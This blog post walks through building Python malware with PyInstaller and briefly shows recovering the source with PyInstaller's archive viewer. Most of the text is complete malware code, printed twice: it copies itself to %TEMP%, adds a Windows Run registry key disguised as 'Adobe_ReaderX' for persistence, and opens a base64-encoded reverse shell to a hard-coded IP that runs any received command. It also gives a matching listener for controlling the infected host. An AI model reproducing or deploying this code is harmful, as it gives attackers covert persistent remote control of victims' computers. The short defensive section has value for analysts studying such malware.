3back-to-the-future-original

This blog post demonstrates some proof of concepts for creating and reverse engineering malware using Python and PyInstaller.  In a previous blog post we demonstrated how to compile a Python script as a Portable Executable(PE) using PyInstaller.  Now lets demonstrate some quick proof of concept code to do some malicious actions on a Windows host.

Forward Engineering the Malware:

One of the most common things you’ll find with malware is it wanting to gain persistence on the victim.  There are loads of ways to achieve persistence on Windows, one of the more common being to modify the following registry key: “SoftwareMicrosoftWindowsCurrentVersionRun”.  Below is a quick screenshot of the Python code to copy the program to the %TEMP% directory and then make a registry modification so this code will execute when a user logs into the computer:

import sys, base64, os, socket, subprocess
from _winreg import *

def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))

# Check to see if autorun key exists
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass

# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.py")
            key.Close()
        except WindowsError:
            pass

Now that we have copied this file over to the %TEMP% directory, and setup persistence we can execute the next portion of the code, the reverse shell.  I leveraged a Python reverse shell released by TrustedSec and made one modification — Base64 encode the network traffic:

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()

def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "SoftwareMicrosoftWindowsCurrentVersionRun"
    autorun(tempdir, fileName, run)
    shell()

if __name__ == "__main__":
        main()

Now when this program executes it will open up a reverse shell back to the “attacker” which in this case is a hard coded IP in the script, but it could easily be domain, or maybe something in the Amazon cloud.  Below is a quick screen shot demonstrating the program executing on a Windows host and connecting back to the attacker.  You can notice the network traffic is base64 encoded:

malware

Reverse Engineering the Malware:

Now to switch gears to the defensive portion of the post.  Let’s take a look at going from a PE file back to the source Python script by leveraging PyInstaller’s archive_viewer.py utility.  If you suspect a program was compiled using PyInstaller, maybe due to strings in the file you can leverage archive_viewer.py utility to get back to source code.  Below we check the file type using the Linux “file” utility and then load up the file with archive_viewer.py:

file_exeRE_1

Below you can see you can extract the source Python script with “x <name>” then give it a file name.  Checking the first few lines of the file with “head” we can see we have successfully extracted the source code!

RE_2

Full Code for Python Malware:

import sys, base64, os, socket, subprocess
from _winreg import *

def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))

# Check to see if autorun key exists
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass

# Set autorun key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%mw.py")
            key.Close()
        except WindowsError:
            pass

def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()

def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "SoftwareMicrosoftWindowsCurrentVersionRun"
    autorun(tempdir, fileName, run)
    shell()

if __name__ == "__main__":
        main()

Listener in Python to interact with Base64 encoded reverse shell:

import socket, base64

tcpSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
tcpSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
tcpSocket.bind(("0.0.0.0", 443))
tcpSocket.listen(2)
print "Waiting for a Client...."
(client, (ip, port)) = tcpSocket.accept()
print " Received connection from : ", ip

while True:
        command = raw_input('Enter Command: ')
        encode = base64.encodestring(command)
        client.send(encode)
        en_data=client.recv(2048)
        decode_data = base64.decodestring(en_data)
        print decode_data

print "Closing connection..."
client.close()
tcpSocket.close()